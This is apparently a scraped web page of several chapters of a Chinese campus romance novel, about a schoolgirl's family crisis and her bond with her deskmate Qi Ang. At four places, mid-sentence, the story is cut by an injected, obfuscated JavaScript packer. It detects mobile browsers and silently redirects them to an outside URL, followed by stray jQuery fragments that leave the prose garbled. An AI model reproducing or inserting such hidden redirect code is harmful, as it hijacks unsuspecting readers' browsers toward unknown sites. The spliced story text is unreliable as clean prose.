“……”钟林没想到钟德曜那小子速度这么快,居然都找到这儿来了。 “坐下说吧。”温倩发话。 于是三个人各坐在一张沙发上,面面相觑。 温知新先问钟林:“你真的要死了吗?” 直白的可怕。 钟林摸着自己的光头笑了一下,“快了吧,医生说还有两三个月的时候。” 他笑起来和温知新梦见的一模一样。 就在这个瞬间,温知新鼻尖一酸,她忽然就不想问接下来的问题了。 但是不能,她必须要知道真相,所有事情的真相。 “你的私生子多大了?” “十六,比你小一岁。” “我妈知情吗?” “知情。” “那时候你们离婚了吗?” “离了。” “所以那些年的恩爱夫妻和完美父母都是装出来的吗?” “是。” “为什么瞒着我?” “我们想给你一个完整的家。” “……” 温知新自始至终都很平静,只是每多问一个问题,她的眼里就多一层泪。 “宝宝……”温倩去碰温知新的肩膀,被她躲开。 温知新红着眼睛看温倩,欲言又止很多次,咽下了无数句会伤人心的重话。 在她因为钟林对待感情不忠而恨他的时候,原来她的妈妈早就放下了。 温知新叹了口气,恍然大悟道:“妈妈,原来我们不是一伙儿的啊。” 温倩说:“宝贝,妈妈有想过和你好好说清楚的,只是一直没找到时间。” “现在已经很清楚了。”温知新说,“就这样吧。” 她起身,对钟林说:“你好好养病吧,遗产不用写我的名字,别让你儿子再来骚扰我了。” 接着又从短裤口袋里拿出一个红色首饰盒,放到温倩掌心,“我猜今晚你就要飞回去,所以提前祝你母亲节快乐,妈妈。” 巨大的情绪被内化掉,温知新想在眼前这两位成年人面前尽可能的成熟一点。 所以没有想象中的大闹一场,她以如此平静的方式鸣金收兵,打道回府。 打车回小区,又从小区门口走到单元楼,一路上温知新不知道流了多少泪。 楼下的路灯还是半死不活地闪着微弱的光,温知新也没指望物业能想起来修。 她打开手机手电筒,光束往前一扫,一个人影蓦然出现。 “!” 温知新心脏一跳,被定在原地,不敢轻举妄动。 “温知新。” 直到熟悉的声音传过来,她才松口气,是祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122139|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂。 “你怎么在这里?”温知新走近,问他,“不是去参加科技比赛了吗?” “下午就结束了。”祁昂说,“刚好回来,路过这里。” “噢,没什么事我就先回去了。”她今天实在没心情和别人聊天。 “温知新,从昨天晚上到现在你一条信息也没回我,你在忙什么?” 这是很正常的祁昂式语气,没什么感情,以至于听起来有点儿像高高在上的质问。 换作平常,温知新肯定会以另一种阴阳怪气的方式怼回去。 但今天她情绪实在很差,又无处发泄,索性找个导火索全都点炸。 “我在忙什么?”温知新自嘲一笑。 “我在被我爸的私生子追到学校骚扰;我冲到医院和我爸妈对峙的时候,才知道原来在我一岁的时候他们就离婚了,只是我一直被蒙在鼓里而已。顺便一提,我还知道我爸快死了。 “我就在忙这些,你满意了吗?” 她边说边掉眼泪,还倔强的不肯擦。 祁昂慌神,从口袋里拿出纸巾给她擦泪。 食指隔着一层面巾纸碰在脸颊,中指与无名指蹭在嘴唇,小拇指抵着她的下巴。 温知新垂眸,接着微弱的灯光看那双骨节分明的手,忽然攥住那截冷白手腕,咬住了唇边的无名指。 是真的咬,牙齿和指关节碰撞,疼痛感让祁昂微微皱眉,与此同时温知新的眼泪在更大颗地往下掉。 祁昂没推开她,只是换了另外一只手,耐心细致地为她擦掉眼泪。 带着他自己都没察觉到的纵容说:“温知新,咬我的时候,你就不要哭了吧。” 理智回笼,温知新松口,攥着自己的衣服下摆,把头埋的特别低,闭嘴装死。 她都不敢细想自己干了什么。 这两天发生的事有哪件和祁昂有关系吗?她为什么会迁怒于他,甚至还咬了他。 怎么办怎么办怎么办怎么办…… “温知新,对不起。” 清冽的声音响起,温知新有些懵地抬头。 “为我刚才语气向你道歉。”祁昂说。 “可我刚才……你,我,你怎么不推开我?” “不知道,可能我关爱小狗吧。”祁昂挑眉。 温知新破涕为笑,锤了一下祁昂的肩。 “小狗还咬吗?”祁昂故意把手指递到温知新眼前,被温知新一把攥住。 天气闷热,两个人的手心都有些湿漉,然而谁也没有先放开手。 温知新眼睛很红,鼻子很红,下巴也很红,都是哭的。 祁昂没哭,但脖子到耳根也红了个彻彻底底。 月光浅淡,灯光微薄,空气十分厚重,远处广场舞的音乐断断续续传过来,合在蝉鸣里,融进不知道谁的心跳中。 “我上去了。”温知新像触电一般慌张松手,逃窜的兔子一般跑进电梯。 祁昂盯着指关节处的牙印出神。 口袋里的小机器人没来得及送出去,祁昂打算周一早上再给温知新。 到了教室发现身边的人换成了傅云星。 祁昂站在课桌外,傅云星坐在课桌里,两张冷脸互相瞧着对方。 “你怎么在这里?”祁昂问。 傅云星说:“她们要聊天。” 祁昂看过去,温知新正坐在傅云星的位置上,和姜寐聊的热火朝天。 “……”行吧。 23. 直视 温知新站在电梯里,盯着显示屏上不断上涨的数字,她的心快乱死了。 这么多事情堆在一起像山一样压的她喘不过气来,她需要把呼吸调成手动挡,无数次深呼吸才能冷静下来。 首先她需要面对温倩和钟林早就已经离婚的事实; 其次承认那个满身潮牌的男生并不是私生子。 接着否定这些年她记得的所有美好家庭时光; 最后还要接受钟林命不久矣。 去他的吧,这个世界能不能毁灭啊。 有必要对一个风华正茂、朝气蓬勃、意气风发的十七岁少女下这么重的死手吗。 她不干了。 进门之后,衣服也没换,温知新直接躺到了床上,盯着天花板愣神。 在乱成一团的思绪里,一只白到曝光的手指乍现,把这团毛线扯得更乱。 她刚刚为什么要咬祁昂! 这要怎么解释。 –“对不起,你的手太好看了,我一看就来气,不小心就咬上去了,你会原谅我的,对吗?” –“对不起,其实我想咬你的手很久了,你这么大方美丽善解人意,你会原谅我的,对吗?” –“对不起,要不你就当被狗咬了吧。” 温知新删删减减,始终没能找到合适的理由。 她就是被愤怒蒙蔽了心脏,谁知道祁昂会突然伸手来帮她擦眼泪。 叮叮。 手机响起来,祁昂有感应似的发来信息。 7:【没生气】 温知新愣了半秒,才把道歉发送过去。 温故而知新:【对不起】 但祁昂没再回。 所以温知新觉得他可能还是生气的,只是怕她哭的更厉害才这么说。 好吧,她承认在某些时候祁昂还是很贴心的。 在退出和祁昂的聊天页面后,一个大群突然被顶了上来,是宜安一中的民间通知群,里面大概有一千五百人左右。 沉寂了很久的群聊突然诈尸,是因为有人往群里丢了几段视频。 温知新大战钟德曜的视频。 ……够了。 真是好事不出门,坏事传千里。 她周一可以请假不去上学吗? 周二也请,周三也请,周四周五都请,可以吗? 温知新心烦意乱,正要艾特那位同学让他把视频删掉时,页面立刻弹出来一条提醒。 –“我要物理死”的信息已被群主撤回。 随后整个群都被禁言了。 温知新:“?” 她心下一动,去翻群名单,果然看到群主是自己认识的人。 西高地头像的祁昂安安静静地顶着群主头衔。 温知新又点开和祁昂的聊天页面,想发个“谢谢”,又看见上面那条没被回复的“对不起”,几经挣扎删减,还是对方先发来的信息。 7:【不用谢】 温知新紧跟着才发出那句“谢谢你”。 “……” –没生气。 –对不起。 –不用谢。 –谢谢你。 这两段消息放在一起,显得她特别蠢。 不仅蠢,打字还特别慢。 温知新干脆把手机关机,翻出一本漫画书看起来。 没字,看起来也快,她一晚上看了十八遍。 在天色拂晓时睡着,却被乱七八糟的梦缠绕着。 梦里有很多陌生人人围着她,对她指指点点,说她害的她爸妈演了十几年的戏,害他们不能去追寻自己的幸福,说她自私自利。 对面的钟德曜也在狞笑着说:“不仅你的钱是我的,你的爸爸妈妈也是我的!” “!”温知新猛地睁开眼睛,发现自己躺在卧室床后松了一口气。 还好只是梦。 她把漫画书随手一放,换上睡衣后去洗漱,满打满算才睡了四个小时,温知新站在卫生间镜子前狂打哈欠。 刷牙洗脸之后,温知新随便拆开一袋面包当早餐,坐在书桌前三下五除二就吃完了。 昨晚温倩想来和她好好聊聊,但温知新拒绝了,因为她觉得以现在两个人的情绪见面,肯定会吵架。 她一激动就会口不择言,温倩比她有过之而无不及。 温知新想,为避免不必要的伤害,她们母女俩还是等这件事的影响过去了再见面吧。 周日她躲在家里写了一整天题,完全沉浸在物化生的世界里面时就没精力再去想别的了。 一直写到凌晨一点,等脑子完全累到转不动,温知新才肯放下笔去洗澡睡觉。 她希望自己一躺在床上就会昏睡过去。 然而天不遂人愿,温知新一闭上眼脑子里就是这些破事,现在还多了一项。 视频。 不知道有多少人看过,现在又传播到了哪里,既然群里有人发,那么Q|Q空间应该也会有。 温知新翻身坐起来,决定在空间里巡逻一圈,打算把自己看到的视频全举报掉。 结果居然一条视频也没发现。 很干净,仿佛这件事没发生过一样。 温知新感觉纳闷,但是也不愿意深想。 没有最好,她可不要因为这种事情出名。 – 周一,温知新老老实实去上学。 一进教室就把傅云星请到了自己座位上,从书包里拿出他想看很久的漫画书,和他讲条件,“你早读坐我这里行不行,我想和睡睡聊天。” “……”傅云星看了眼姜寐,又看了看绝版漫画书,点点头,“就早读。” “嗯嗯嗯。”温知新把漫画塞到他手里,随便拿了一本《高考六十八篇古诗词汇编》就坐到了傅云星的位置上。 姜寐见她风风火火的样子,犹豫地问:“你想通了?” 温知新烦躁地叹口气,说:“暂时没有,但是现在有更急切的事情需要我解决。” “什么事比争夺遗产还急切?”姜寐问。 “……”温知新被噎了一下,她要怎么说其实钟德曜口中的遗产只是一家画馆。 “这些以后再说。”温知新摆手,“先解决眼前的事情。” “什么事情?” 温知新环视周围,确定大家都在忙自己的事情后,凑近姜寐,特别小声说:“我昨晚,咬了祁昂一口。” “什么?!”姜寐嗷一嗓子,把整个班都震安静了。 许妄回头:“什么什么?” “没你的事。”姜寐搪塞,“快去背古诗词吧,齐老师说下次考试如果你和傅云星的古诗词填空再空着,他就要罚抄了。” “能抄多少?”许妄无所谓。 “一百遍。” 许妄立刻大声朗读:“臣本布衣,躬耕于南阳,苟全性命于乱世,不求闻达于诸侯……” 把许妄打发走,姜寐重新低下头,压着声音和温知新讲话,“你们两个人亲了?” “咬!”温知新低声但很坚决地纠正,“我咬他,单方面的。” “什么时候的事?你咬哪里了?” “就周六晚上,他参加完科技比赛从江虞回来。”温知新戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126882|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳自己的无名指,“咬这里了。” 姜寐瞪大眼睛,“你为什么要咬他?” 温知新说:“不知道,我当时脑子特别乱,反应过来的时候就已经咬上了。” 姜寐疑惑:“他也没反应?” 温知新摇头:“没有。” “你俩真是……”姜寐想了想,评价,“什么锅配什么盖。” 温知新苦笑:“真是我的荣幸。” 姜寐眨眨眼,问:“你喜欢他吗?” “当然不喜欢。”温知新斩钉截铁,并且提前预知姜寐接下来的问题,“他也不喜欢我。” 姜寐挑眉,“不喜欢会任你咬他?” “他没反应过来而已,毕竟也不会有人真的咬他,后面他也骂我了啊,他骂我是狗。”温知新辩白。 “那这不就解决了,你咬了他,他骂了你,你俩扯平,你还在担心什么?”姜寐问。 “这怎么能一样,我不占理,我现在根本不敢看他。”温知新说着话,悄悄往祁昂那边瞥了一眼,没想到当场被抓住。 黑檀一般的眼睛没有情绪,视线像铺天盖地的网。 温知新心头一颤,慌忙回头,求助姜寐:“我怎么办?” “遇到问题的最好解决办法就是直面它。”姜寐拍她的肩,“你和他对视三十秒这件事就过去了。” “真的假的?”温知新半信半疑。 “真的,下课你去试试。”姜寐说。 “行。”温知新下决心,反正一直躲着也不是办法,而且她能用来贿赂傅云星的漫画书也不多了。 早读下课。 傅云星要回自己座位,温知新边让座边说:“祁昂又不会吃了你,你多坐一会儿呗。” “也不会吃了你,你去坐。”傅云星一本正经说。 温知新:“……” 倒是很有道理,反正也不会吃了她。 回去就回去。 温知新拿着古诗词汇编走回座位,祁昂凉凉地看她一眼,“舍得回来了?” 温知新采纳姜寐的办法,眼睛眨也不眨地盯着祁昂看,边看边道歉,“昨晚的事情对不起,我当时哭懵了,脑子没反应过来。” “现在反应过来了?”祁昂不冷不热地问。 “嗯。”温知新继续盯着他,“无比清醒。” 姜寐和傅云星一起看漫画,她忽然想起来一件事,拍拍前座许妄的肩膀。 问他:“你是不是昨天上午回来的?” 许妄说:“是啊,科技比赛周六下午结束,晚上有个聚会,除了祁昂,我们都是昨天上午回的宜安。” “祁昂没参加聚会?” “没有,他说要回来喂小猫。” “噢,这样。”姜寐抬眼去瞧温知新和祁昂,正好看到祁昂把一个小袋子递给温知新。 温知新打开,发现是一个小小的机器人和一袋酸糖。 “这是那个会重复说话的机器人吗?”温知新问。 “不是,这个售卖品只能录入一句话然后一直重复。”祁昂说。 他按下机器人背后的按钮,一道带着电流的声音就传出来。 是机器人的电声,但能听出来祁昂喊她名字时的顿挫。 –“温知新,你好。” 温知新觉得新奇,摆弄了好一会儿这个小机器人,笑着抬头:“祁昂,谢谢你。” “本来就是随手买的。” 祁昂只看了她一眼就收回视线,无意识地摩挲右手无名指指根。 他不明白,怎么有人肿着眼睛也可以笑得这么漂亮。 24. 天台 对视三十秒理论是正确的。 在狂盯祁昂半分钟之后,温知新终于可以和祁昂正常相处了。 温知新很挺喜欢那个小机器人的,还特意系了一条细线把它挂在了自己笔袋上。 按一下就响一句“温知新,你好”,温知新就跟着笑一下。 祁昂余光看着她趴在桌子上玩,眼里也染上了笑意。 “这么喜欢?” “这么可爱。”温知新偏头仰头看着祁昂笑,“当然喜欢。” 祁昂跟着笑起来,“嗯,玩吧。” 温知新顿时警觉,立刻坐起来,松开小机器人,把五三摆到桌子上,咔哒咔哒按了两下笔,“你是想我放松警惕,然后省联考拿第一是吧?” 祁昂脸上的表情难得有一瞬间的空白,随后抬手,在温知新额头上弹了一下。 “哎呀。”温知新捂着脑袋,另一只手去锤祁昂,“你只会弹我脑瓜崩。” 祁昂喉咙里溢出很模糊的一声笑,任她打了自己几下,“再不写题省联考第一就是我的了。” “!”这不行。 温知新立刻拿起笔开始写,并勒令祁昂一个上午不许和自己说话。 主动说话次数屈指可数的祁昂挑眉,用极轻的声音说道:“好的。” 温知新没抬头,很自然地给了他一下。 “……”好吧,这也不行。 温知新看起来已经恢复心情了,会和祁昂闹,和许妄耍宝,和姜寐一起逗傅云星玩。 只是偶尔在刷题的间隙会停住笔,短暂的出神,不知道在想什么。 这样的状态保持了一整天,在晚修第二节课的时候,后桌给温知新递过来一张小纸条。 温知新打开,发现是姜寐写的。 问她课间的时候要不要去天台吹风。 温知新转头去看姜寐,两个人对视时都笑起来,温知新点点头,用口型说“好”。 晚上天台会上锁,但祁昂是学生会会长,保管着一切大门小门的钥匙。 温知新和姜寐并排站在祁昂的课桌外,一人伸出一只手来,“能不能把天台钥匙给我们一下?” 祁昂看了眼温知新,把一大串钥匙放到她手里,“注意安全。” “知道知道,能有多不安全。”温知新说,“等我回来再比赛解那道题,你不许提前偷写。” 祁昂点头,“知道,去吧。” 姜寐的眼神一直在他们两个之间转,嘴角压都压不下去。 走出教室之前还伸手拨弄了一下温知新笔袋上的那只小机器人。 被祁昂没什么表情地看了一眼。 姜寐狂笑,拉着温知新的手直奔天台。 天台上没灯,靠月光照亮,温知新和姜寐踩着栏杆,小半个身子探出去,感受着夏夜的风。 姜寐说:“其实这时候我应该说,如果不开心的话就喊出来,但是今天是教导主任值班,他耳朵巨灵,我不敢让你冒这个险。” 温知新笑起来,“什么发泄方式都一样,而且我前两天哭了很久,现在已经好多了。” 姜寐看向温知新,看她的碎发被吹开在风里,笑容恬静但莫名让人觉得破碎。 “温温,如果有需要的话,我可以帮你争遗产。”姜寐很认真地说,“真的,我家的律师团队特别厉害,保证那个私生子一分钱拿不到。” 温知新这次真心实意笑出声,她轻轻抱住姜寐,把下巴搁在她的肩膀上,说:“谢谢你睡睡,不过相比争遗产,我还是希望我爸能活下来。” 恨一个活人比恨一个死人容易。 她不想背上道德的枷锁。 “医生也可以联系的。”姜寐回抱她,“你不要担心。” “糟糕,我好像抱到大腿了。”温知新笑着说。 “你才知道啊。”姜寐抱着她晃来晃去,“偷着乐去吧,温温同学。” “好的,我会注意不笑出声的。”温知新站定,敬了一个小小的礼。 姜寐没忍住,上手捏了捏温知新的脸颊。 两个人重新站回栏杆前,在一朵花被吹落掉在温知新胸膛的瞬间,她突然觉得那就这样吧。 事已至此,就这样吧。 在上课铃声响起的那刻,温知新抓住栏杆,放声大喊,“去他的吧,我要放过自己了!” “哇!”姜寐深受感染,也要加入,然而刚刚喊出声音的时候铃声就结束了,所以她剩下那句“傻x学校去死吧!”的话被教导主任完完整整的听到了。 “你看看你们,作为一中最优秀的学生之一,居然带头违反校规。尤其是你,祁昂,老师把钥匙给你,是信任你的表现,你就这么对待这份信任吗?” 私自上天台的温知新和姜寐以及共犯祁昂站成一排,都微微低着头,咬着嘴唇憋笑,不敢直视教导主任反光的脑袋顶。 姜寐趁教导主任转身喝茶的间隙,偷偷说:“我靠,刚刚陈主任的头晃我眼了。” 站在她两边的温知新和祁昂都没忍住,纷纷笑出声来。 “还敢笑。”陈主任端着保温杯盯着他们,沧桑的脸不怒自威。 “这次不能只写检讨了,必须要请家长,以儆效尤。” 温知新心一紧,下意识去抓祁昂的手,仰头看他,摇头,用口型说:“救救我。” 祁昂“咳”一声,开始冷声冷调地为他们三个人辩解。 “陈主任,没有报告私自上天台是我们不对,但这次确实是事出有因。上周开会说要学生会查清校内所有有安全隐患的设施设备,后勤部人手不够,我就拜托了姜寐和温知新两位同学帮我们去查天台水箱问题,为避免危险,她们两个特意结伴而行的。” “当然,没有报备直接上天台肯定是错的,只是请家长会不会太兴师动众,让其他学生看见,以后学生会就不好开展工作了。” 这真的是祁昂第一次说这么多话,不仅温知新第一次见,连和他同班两年的姜寐都是前所未闻。 陈主任听完觉得有道理,一中向来以特色社团和学生会为宣传点,要是因为这一件事让其他学生不满意,也不值得。 “好吧,以后记得来教务处登记报备,不用请家长了,但是要写检讨,姜寐和温知新八百字,祁昂一千二,周三之前交到我办公室来。”说完,陈主任摆手,让他们回去。 “十分感恩。”一出办公室,温知新立刻双手合十向祁昂道谢。 祁昂冷冷淡淡地看她一眼,说:“不必,替我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139011|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写检讨就行。” “那我就要写两千字欸!”温知新比了一个“2”,“会累死的。” “辛苦。”祁昂淡淡一笑,头也不回地走了。 “……”温知新哀怨地盯着祁昂的背影,可转念又一想,她俩去天台本来就和祁昂没关系,而且多亏了祁昂她才能免于被叫家长,所以写两千也不算什么。 “别担心。”姜寐打响指,召回温知新的思绪,“我们一个字都不用写。” “什么意思?”温知新疑惑。 姜寐笑:“陈主任平生最大的爱好就是罚学生写检讨,一天能开好几十份罚单,他根本记不住都有谁,明天他就忘了。” 温知新问:“真的假的?” 姜寐说:“真的啊,不然许妄光靠写检讨就能出两本书。” “那我不写了?” “不用写,放心吧。” “太好了,还是你靠谱。”温知新拍拍姜寐的手臂,“走吧,回教室,我还要和祁昂比赛做题呢。” ……比赛做题。 真是好小众的爱好。 她只会和傅云星比赛谁先找到推理漫画里的凶手。 “祁昂,你居然偷偷把题做完了。”温知新不可置信地看着祁昂桌上那张满满当当的试卷,“说好的比赛呢?” “忘记了。”祁昂理直气壮。 “我去天台之前特意嘱咐你的。”温知新模仿他的语气,“你还说‘知道,去吧’。” 祁昂理所当然:“我说知道,没说好的。” “……”温知新生气,“我再也不要和你说话了。” 祁昂轻笑,“又不和我说话了?” 温知新用气声哼了一句,自顾自收拾自己的课桌,把那张打算用来和祁昂比赛的试卷振的哗哗响。 祁昂笑意更深,把那张真正用来比赛的试卷拿了出来。 “我没写,在这里。”他晃一下,“你怎么连卷头都不看。” “逗我很好玩吗?”温知新拍掉祁昂手里的卷子,说着说着话,声音里居然带了点哽咽。 她也不知道为什么。 明明都已经想开了,明明都决定放过自己了,怎么还会突然崩溃了。 真服了。 “我不比了。”温知新低头把那点泪光擦掉,声音闷闷的,“算你赢吧。” 祁昂把手递过去。 “干嘛?”温知新看他。 祁昂凑近一点,低声:“免费要你咬一下,别哭了。” 温知新微微睁大眼睛,推开他的手,难得有些不好意思。 “我才不咬,那天只是意外,事故,我没有咬人的癖好。”温知新说,“而且,而且校规不让男生女生亲密接触。” 作为每周都会拿校规做法令去抓违规学生的的学生会主席,祁昂很公正地说:“校规只说禁止接吻,没说不让咬人。” “祁昂,你没完了。”温知新用试卷拍他,在纸张的哗啦哗啦声里,两个人对视。 祁昂的眼神很平静,专注地看着她。 祁昂的声音轻轻淡淡,慢慢地说:“不会再惹你哭了,温知新。” 温知新心头一颤,慌忙移开眼睛,坐直身子,难得感觉有些不好意思。 25. 盾牌 帅哥误事,蓝颜祸水。 帅哥误事,蓝颜祸水。 帅哥误事,蓝颜祸水。 温知新默念三遍静心咒,刻意忽略祁昂的存在,最后两节晚自习一直在埋头苦写,作业写完就刷题,试卷刷完就整理错题。 效率奇高,就是有点消耗精力。 晚自习下课铃一打,温知新立刻扔下笔,避如蛇蝎似的把错题本合上,丢进了桌洞里。 未来三天,她都不想再见到自己的化学错题集了。 照例慢吞吞地收拾书包,照例把沉甸甸的书包递给祁昂背。 自从搬到书香别苑之后,祁昂背自己书包的次数屈指可数,大多数时间都在背温知新那只明黄色的书包。 没人对此提出异议,这是他们之间第一个心照不宣的秘密。 祁昂微挑眉尖:“能和我说话了?” “我没有不和你说话。”温知新说,“我只是在学习,这个月省联考我要拿第一。” “上次周测你就是第一。”祁昂说。 温知新转过身,面对着祁昂倒退着走路,伸出左手食指出来,“周测的全校第一有什么意思,我要当省一。” 走廊的声控白炽灯亮着,周围一切都那么清晰。 温知新穿着深绿色校服,因为天气热,所以她把袖子挽起来,把短袖穿成了无袖,高马尾随着动作荡在脑后,笑着和祁昂说她的目标时,浑身都透出十七岁独有的生机盎然和野心勃勃。 “期待。”祁昂说。 温知新短促地“哎”一声,指出他的错误,“我们是竞争对手,你不应该说期待,你应该说害怕。” 祁昂眼里笑意更深,单手插兜,佯装苦恼:“那怎么办,我一点都不害怕,我也拿过省一。” “没关系,你马上就不是了。”温知新背着手,一蹦一跳地往前走。 祁昂笑着跟上去。 两个人并肩往车棚走,祁昂忽然问:“你这是什么?” “什么?”温知新顺着他的视线看,“噢,我的胎记。” 在三角肌那里,平时都被短袖的袖子遮住了。 温知新往上抬了一下胳膊。 祁昂看清楚了,那是一个五厘米大小的黑色胎记,不太规则的四边形。 “像盾牌。” “盾牌?”温知新照镜子的时候觉得很像简笔画里的星星,方灿说像正方形,从来没有人说过像盾牌。 “嗯。”祁昂点头,“用以掩蔽身体,抵御敌方兵器进攻的防御性兵械。” 温知新:“我知道盾牌是什么,就不劳烦您背百度百科了。” “……” 照例在温知新家单元楼下分开,祁昂把书包递给她,忽然说:“温知新,盾牌可以抵御外界很多攻击。” 温知新下意识去看自己的手臂,又望向祁昂。 微弱的灯光似乎只照亮了他的眼睛,那双黑宝石一般的眸子一如既往的平静而凝神地看着她。 温知新吞了下口水。 祁昂发现了,轻轻笑起来,弹了一下温知新的额头,“但是抵御不了弹脑崩。” “靠!祁昂!” 而祁昂早就骑上车走了,少年背影飞驰,飞扬起来的发丝都闪着意气风发。 – 姜寐的家世在一中至今是个传说。 大家都知道她家有钱有权,但是究竟到什么地步,没有人清楚。 温知新也只是知道姜寐的爷爷奶奶早年从军,父母经商,还有个读心理学研究生的哥哥。 这次为姜寐的背景吃惊,是因为她真的找来了国际知名脑科专家,并且让对方为钟林留了三天的档期。 有了这位医生操刀,钟林手术成功的概率能提高到百分之六十。 “我的天,百度百科都放不下这位卡玛医生的履历,睡睡,你怎么这么厉害。”温知新惊讶。 姜寐很有自知之明,“厉害的不是我,是我爸妈。” “我一定登门道谢!”温知新说。 “又不是你欠的人情。”姜寐很懂一码事归一码事,“让你爸来,他不能白白享受资源,等他好了让他去跟我爸谈条件。 “还有,我查了你爸爸那个画馆的价钱,市值才三十几万,还欠了一屁股债,林林总总算下来还要再往里面搭五六万,不知道那个私生子在争什么。” 温知新说:“估计他也不清楚,听到遗产就火急火燎来找我了。” “你爸爸肯定会没事的,这下放心了吧。”姜寐说。 “嗯。”温知新点头。 说到底,温知新还是恨钟林的,恨他婚内出轨,恨他无缝衔接。 但是真要看着他死,她又做不到。 即使这些年的好父亲形象都是演出来的,但她七岁那年打开车门看到毛绒大熊时候的开心不是假的。 她希望自己可以毫无负担地去恨他,不用顾虑死死活活这些事情。 得到钟林手术成功消息时,温知新正在和祁昂去市图书馆的路上。 柏油路热浪滚滚,蝉鸣不止,温知新看了一眼钟林发来的信息,停下脚步回复。 温故而知新:【恭喜。】 接着继续躲在祁昂身体投下的阴凉里往前走。 好像令她心烦的事情都一件一件被解决了。 钟德耀像疯子一样来学校找她麻烦,被录下视频之后不知道为何被全部删空。 钟林也因为卡玛医生的到来手术成功,活了下来。 而她也接受了温倩和钟林早已离婚的事实。 温知新下意识去摸自己手臂上的胎记,也许这真的是盾牌。 她也真的可以抵御外界很多攻击。 “温知新。”祁昂的声音落下来,“走快点,真的很热。” “知道了。” 温知新跟着祁昂加快步伐,两个人一起往市图书馆走。 眼下,省一最重要。 – 凭心而论,温知新觉得自己是可以和祁昂再做一年同桌的,如果他们两个人不聊八卦,也不谈学术。 因为祁昂跟个山顶洞人似的,连许妄和前女友三分三合的具体原因都不知道,所以温知新和他谈不了什么八卦。 只聊学术也行不通。 温知新觉得自己听祁昂讲一道题至少会折损七年寿命。 温知新没有很偏科,但是每次理综都比祁昂和舒格少十几分。 这次省联考之前的模拟考也一样,是第一,但是物理比祁昂低十分。 祁昂拿着她的模拟省考成绩分析:“数学148,物理就88,温知新,你真挺厉害的。” “请这位同学对未来省一放尊重一点儿。”温知新摆架子,“给我讲题是你的荣幸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139012|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 祁昂指尖转着细长的铅笔,轻笑,不轻不重地敲了下温知新脑袋,“爱听不听。” “不爱,但是要听。” 温知新倒是也想直接去问物理老师,但是她真的听不懂物理老师说的宜安方言。 “持证上岗的证,最起码要包括普通话证吧。”温知新饱受折磨,和姜寐狂吐苦水。 姜寐说:“物理老师年纪大,一毕业就来一中教书,是学校的老人了,校领导们都对他睁一只眼闭一只眼,你再忍一忍,明年岑老就退休了,保证你高三会遇到一位字正腔圆的老师。” 温知新说:“好的,借你吉言。” 岑老师无法速成普通话,可温知新的错题总得找一个方法来妥善解决。 找来找去,还是身边人最靠谱。 曾经的总分第一,现在的物理单科第一,简直是为她讲题,帮她坐稳第一宝座的不二人选。 “每个成功女人背后都会有一个默默付出的男人,等我高考拿下省理科状元被采访的时候,一定好好夸你。”温知新哥俩好地拍拍祁昂的肩。 “不必。”祁昂抖掉她的手,敲试卷,“听题。” 温知新托腮,知识点左耳进右耳出,没一会儿就走神了。 感觉脑门好像被蚊子叮了一口,温知新啪一下拍上去,发现不是蚊子,是祁昂轻轻戳了一下她。 “温知新,我很闲?”祁昂见她回神了,微挑眉尖反问。 温知新心虚:“没有吧。” “那你浪费我时间是什么居心?”祁昂又问。 “!”好大的罪名。 温知新矢口否认:“我没有,我只是听不进去而已,但这真不怪我。” “你听不进去不怪你,怪我?” “不然呢,不怪你的话就只能……” 祁昂眸光一抬,没表情地看着温知新。 “不能怪你不能怪你。”温知新迅速改口,她立刻坐端正,笑得很无公害,“请继续讲吧,小祁老师。” “好,那麻烦小温同学好好听课。”祁昂挤出一个微笑来。 温知新很喜欢看祁昂露出这样的笑,像被惹急之后想奓毛却又碍于自己的人设不能发泄所以必须忍气吞声的笑。 总之很有活人气儿。 但喜欢归喜欢,这并不妨碍他们讲题的时候大战。 祁昂能想到的步骤,他就默认温知新也能想到,于是就从第一步直接跳到第五步。 温知新会小怒一下,抓住祁昂的笔杆子问他敢不敢把吞下去的三步写出来。 